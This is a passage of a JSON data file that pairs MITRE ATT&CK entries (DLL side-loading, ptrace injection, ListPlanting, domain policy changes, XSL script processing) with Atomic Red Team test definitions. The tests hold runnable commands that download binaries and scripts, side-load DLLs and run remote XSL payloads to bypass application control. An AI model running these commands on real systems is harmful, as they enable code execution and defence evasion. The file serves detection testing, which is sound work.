"https://attack.mitre.org/techniques/T1574/002" - }, - { - "source_name": "FireEye DLL Side-Loading", - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", - "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020." - }, - { - "url": "https://capec.mitre.org/data/definitions/641.html", - "source_name": "capec", - "external_id": "CAPEC-641" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", - "modified": "2022-05-05T04:07:48.912Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Hijack Execution Flow: DLL Side-Loading", - "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation", - "File: File Modification", - "Module: Module Load", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1574.002" - }, - "atomic_tests": [ - { - "name": "DLL Side-Loading using the Notepad++ GUP.exe binary", - "auto_generated_guid": "65526037-7079-44a9-bda1-2cb624838040", - "description": "GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process_name": { - "description": "Name of the created process", - "type": "string", - "default": "calculator.exe" - }, - "gup_executable": { - "description": "GUP is an open source signed binary used by Notepad++ for software updates", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Gup.exe binary must exist on disk at specified location (#{gup_executable})\n", - "prereq_command": "if (Test-Path #{gup_executable}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"#{gup_executable}\"\n" - } - ], - "executor": { - "command": "#{gup_executable}\n", - "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "DLL Side-Loading using the dotnet startup hook environment variable", - "auto_generated_guid": "d322cdd7-7d60-46e3-9111-648848da7c02", - "description": "Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process_name": { - "description": "Name of the created process", - "type": "string", - "default": "calculator.exe" - }, - "preloader_dll": { - "description": "library for interfacing with the dotnet framework", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": ".Net SDK must be installed\n", - "prereq_command": "if (Test-Path \"C:\\Program Files\\dotnet\\dotnet.exe\") {exit 0} else {exit 1}\n", - "get_prereq_command": "winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null\necho.\n" - }, - { - "description": "preloader must exist\n", - "prereq_command": "if (Test-Path \"#{preloader_dll}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true\" -OutFile \"#{preloader_dll}\"\n" - } - ], - "executor": { - "command": "set DOTNET_STARTUP_HOOKS=#{preloader_dll}\ndotnet -h > nul\necho.\n", - "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n", - "name": "command_prompt" - } - } - ] - }, - "T1126": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a", - "type": "attack-pattern", - "created": "2017-05-31T21:31:38.350Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1126", - "url": "https://attack.mitre.org/techniques/T1126" - }, - { - "url": "https://technet.microsoft.com/bb490717.aspx", - "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", - "source_name": "Technet Net Use" - } - ], - "modified": "2020-01-31T12:39:48.118Z", - "name": "Network Share Connection Removal", - "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\n", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_system_requirements": [ - "Established network share connection to a remote system. Level of access depends on permissions of the account used." - ] - }, - "atomic_tests": [] - }, - "T1055.008": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f", - "type": "attack-pattern", - "created": "2020-01-14T01:33:19.065Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.008", - "url": "https://attack.mitre.org/techniques/T1055/008" - }, - { - "source_name": "PTRACE man", - "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html", - "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020." - }, - { - "source_name": "Medium Ptrace JUL 2018", - "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be", - "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020." - }, - { - "source_name": "BH Linux Inject", - "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf", - "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020." - }, - { - "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", - "source_name": "ArtOfMemoryForensics" - }, - { - "url": "https://www.gnu.org/software/acct/", - "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", - "source_name": "GNU Acct" - }, - { - "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", - "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", - "source_name": "RHEL auditd" - }, - { - "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", - "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", - "source_name": "Chokepoint preload rootkits" - } - ], - "modified": "2021-10-18T12:26:31.766Z", - "name": "Ptrace System Calls", - "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Access", - "Process: Process Modification" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ] - }, - "atomic_tests": [] - }, - "T1055.015": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "ESET" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", - "type": "attack-pattern", - "created": "2021-11-22T15:02:15.190Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.015", - "url": "https://attack.mitre.org/techniques/T1055/015" - }, - { - "source_name": "Microsoft List View Controls", - "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview", - "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022." - }, - { - "source_name": "Modexp Windows Process Injection", - "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/", - "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021." - }, - { - "source_name": "ESET InvisiMole June 2020", - "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020." - } - ], - "modified": "2022-03-08T20:59:20.762Z", - "name": "ListPlanting", - "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Modification", - "Process: OS API Execution" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1484": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Azure AD" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", - "type": "attack-pattern", - "created": "2019-03-07T14:10:32.650Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1484", - "url": "https://attack.mitre.org/techniques/T1484" - }, - { - "source_name": "ADSecurity GPO Persistence 2016", - "url": "https://adsecurity.org/?p=2716", - "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019." - }, - { - "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", - "url": "https://wald0.com/?p=179", - "source_name": "Wald0 Guide to GPOs" - }, - { - "source_name": "Harmj0y Abusing GPO Permissions", - "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/", - "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019." - }, - { - "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", - "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", - "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." - }, - { - "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", - "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml", - "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020." - }, - { - "source_name": "Microsoft 365 Defender Solorigate", - "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", - "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." - }, - { - "source_name": "Sygnia Golden SAML", - "url": "https://www.sygnia.co/golden-saml-advisory", - "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021." - }, - { - "source_name": "CISA SolarWinds Cloud Detection", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021." - }, - { - "source_name": "Microsoft - Update or Repair Federated domain", - "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365", - "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020." - } - ], - "modified": "2021-02-09T15:52:24.598Z", - "name": "Domain Policy Modification", - "description": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)", - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Active Directory: Active Directory Object Deletion", - "Active Directory: Active Directory Object Modification", - "Active Directory: Active Directory Object Creation" - ], - "x_mitre_defense_bypassed": [ - "System access controls", - "File system access controls" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ] - }, - "atomic_tests": [] - }, - "T1220": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Avneet Singh", - "Casey Smith", - "Praetorian" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", - "created": "2018-10-17T00:14:20.652Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1220", - "url": "https://attack.mitre.org/techniques/T1220" - }, - { - "source_name": "Reaqta MSXSL Spearphishing MAR 2018", - "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/", - "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018." - }, - { - "source_name": "Twitter SquiblyTwo Detection APR 2018", - "url": "https://twitter.com/dez_/status/986614411711442944", - "description": "Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018." - }, - { - "source_name": "LOLBAS Wmic", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", - "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019." - }, - { - "source_name": "Microsoft msxsl.exe", - "url": "https://www.microsoft.com/download/details.aspx?id=21714", - "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018." - }, - { - "source_name": "Penetration Testing Lab MSXSL July 2017", - "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/", - "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018." - }, - { - "source_name": "XSL Bypass Mar 2019", - "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75", - "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019." - }, - { - "source_name": "Microsoft XSLT Script Mar 2017", - "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", - "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d", - "modified": "2022-05-05T05:04:14.238Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "XSL Script Processing", - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Module: Module Load", - "Process: Process Creation" - ], - "x_mitre_system_requirements": [ - "Microsoft Core XML Services (MSXML) or access to wmic.exe" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Digital Certificate Validation", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1220" - }, - "atomic_tests": [ - { - "name": "MSXSL Bypass using local files", - "auto_generated_guid": "ca23bfb2-023f-49c5-8802-e66997de462d", - "description": "Executes the code specified within a XSL script tag during XSL transformation using a local payload. \nRequires download of MSXSL. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "xmlfile": { - "description": "Location of the test XML file on the local filesystem.", - "type": "path", - "default": "PathToAtomicsFolder\\T1220\\src\\msxslxmlfile.xml" - }, - "xslfile": { - "description": "Location of the test XSL script file on the local filesystem.", - "type": "path", - "default": "PathToAtomicsFolder\\T1220\\src\\msxslscript.xsl" - }, - "msxsl_exe": { - "description": "Location of the MSXSL executable.", - "type": "path", - "default": "PathToAtomicsFolder\\T1220\\bin\\msxsl.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "XML file must exist on disk at specified location (#{xmlfile})\n", - "prereq_command": "if (Test-Path #{xmlfile}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{xmlfile}) -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml\" -OutFile \"#{xmlfile}\"\n" - }, - { - "description": "XSL file must exist on disk at specified location (#{xslfile})\n", - "prereq_command": "if (Test-Path #{xslfile}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{xslfile}) -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl\" -OutFile \"#{xslfile}\"\n" - }, - { - "description": "msxsl.exe must exist on disk at specified location (#{msxsl_exe})\n", - "prereq_command": "if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe\" -OutFile \"#{msxsl_exe}\"\n" - } - ], - "executor": { - "command": "#{msxsl_exe} #{xmlfile} #{xslfile}\n", - "cleanup_command": "del #{msxsl_exe} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "MSXSL Bypass using remote files", - "auto_generated_guid": "a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985", - "description": "Executes the code specified within a XSL script tag during XSL transformation using a remote payload.\nRequires download of MSXSL.exe. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )\nOpen Calculator.exe when test successfully executed, while AV turned off.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "xmlfile": { - "description": "Remote location (URL) of the test XML file.", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml" - }, - "xslfile": { - "description": "Remote location (URL) of the test XSL script file.", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl" - }, - "msxsl_exe": { - "description": "Location of the MSXSL executable.", - "type": "path", - "default": "PathToAtomicsFolder\\T1220\\bin\\msxsl.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": 